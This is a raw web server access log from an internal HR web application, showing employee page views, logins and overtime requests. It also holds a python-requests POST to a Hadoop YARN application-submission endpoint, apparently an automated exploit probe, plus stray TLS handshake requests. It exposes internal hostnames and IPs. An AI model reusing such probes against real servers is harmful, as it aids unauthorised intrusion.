/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:06:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:06:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:06:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:06:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:06:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:06:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:06:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:06:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:06:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:06:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:06:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:06:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:06:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:06:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:06:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:16:06:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 192.168.40.52 - - [02/Dec/2025:16:06:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:16:06:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 100.64.0.1 - - [02/Dec/2025:16:29:28 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:16:29:28 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [02/Dec/2025:16:31:51 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.25.1" 100.64.0.1 - - [02/Dec/2025:16:31:51 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [02/Dec/2025:16:35:23 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [02/Dec/2025:16:35:23 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:17:19:24 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [02/Dec/2025:17:19:24 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [02/Dec/2025:17:19:24 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [02/Dec/2025:17:19:24 +0800] "\x16\x03\x01" 501 205 192.168.11.96 - - [02/Dec/2025:17:21:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:17:21:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.96 - - [02/Dec/2025:17:21:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.96 - - [02/Dec/2025:17:21:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:17:21:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:17:21:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.96 - - [02/Dec/2025:17:21:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:17:21:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.96 - - [02/Dec/2025:17:22:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:17:22:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.96 - - [02/Dec/2025:17:22:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:17:22:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.96 - - [02/Dec/2025:17:22:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:17:22:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.96 - - [02/Dec/2025:17:22:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7573 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:17:22:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7573 192.168.11.96 - - [02/Dec/2025:17:22:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168015 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:17:22:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168015 192.168.11.96 - - [02/Dec/2025:17:22:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:17:22:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.96 - - [02/Dec/2025:17:22:45 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.32901044787724887 HTTP/1.1" 200 8640 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:17:22:45 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.32901044787724887 HTTP/1.1" 200 8640 192.168.11.96 - - [02/Dec/2025:17:22:48 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.32901044787724887 HTTP/1.1" 200 14074 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.32901044787724887" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:17:22:48 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.32901044787724887 HTTP/1.1" 200 14074 192.168.11.96 - - [02/Dec/2025:17:23:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4287 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [02/Dec/2025:17:23:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4287 192.168.40.52 - - [02/Dec/2025:17:31:21 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.40.52 - - [02/Dec/2025:17:31:21 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:17:31:21 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - 